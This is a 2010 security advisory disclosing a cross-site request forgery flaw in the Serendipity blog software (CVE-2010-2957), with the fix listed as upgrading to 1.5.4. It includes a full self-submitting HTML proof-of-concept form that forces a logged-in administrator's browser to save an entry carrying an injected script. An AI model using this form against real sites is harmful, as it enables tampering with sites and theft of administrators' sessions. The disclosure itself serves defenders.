We have helped our customers to fix 24 512 vulnerabilities
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Request Forgery (CSRF) in Serendipity

Advisory ID:HTB22595
Product:Serendipity
Vendor:Serendipity Team
Vulnerable Versions:1.5.3 and probably prior
Tested Version:1.5.3
Advisory Publication:August 26, 2010 [without technical details]
Vendor Notification:August 26, 2010
Public Disclosure:September 9, 2010
Latest Update:August 27, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-2957
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Serendipity which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Serendipity: CVE-2010-2957
The vulnerability exists due to insufficient validation of the request origin in serendipity_admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary HTML and script code in user`s browser in context of the vulnerable site. Successful exploitation requires that victim uses "Remember me" feature in the Serendipity backend to login.
Exploitation example:
<form action="http://host/serendipity_admin.php?" method="post" name="main" >
<input type="hidden" name="serendipity[action]" value="admin" />
<input type="hidden" name="serendipity[adminModule]" value="entries" />
<input type="hidden" name="serendipity[adminAction]" value="save" />
<!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />-->
<input type="hidden" name="serendipity[id]" value="1" />
<input type="hidden" name="serendipity[timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[preview]" value="false" />
<input type="hidden" name="serendipity[token]" value="12345" />
<input type="hidden" name="serendipity[title]" value="title" />
<input type="hidden" name="serendipity[isdraft]" value="false" />
<input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" />
<input type="hidden" name="serendipity[categories][]" value="0" />
<input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="serendipity[allow_comments]" value="true" />
<input type="hidden" name="serendipity[extended]" value="" />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to version 1.5.4.

For more information see:
http://blog.s9y.org/archives/223-Serendipity-1.5.4-released.html


References:
[1] High-Tech Bridge Advisory HTB22595 - https://www.htbridge.com/advisory/HTB22595 - Cross-site Request Forgery (CSRF) in Serendipity
[2] Serendipity - s9y.org - Serendipity is a PHP-powered weblog application which gives the user an easy way to maintain an online diary, weblog or even a complete homepage.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.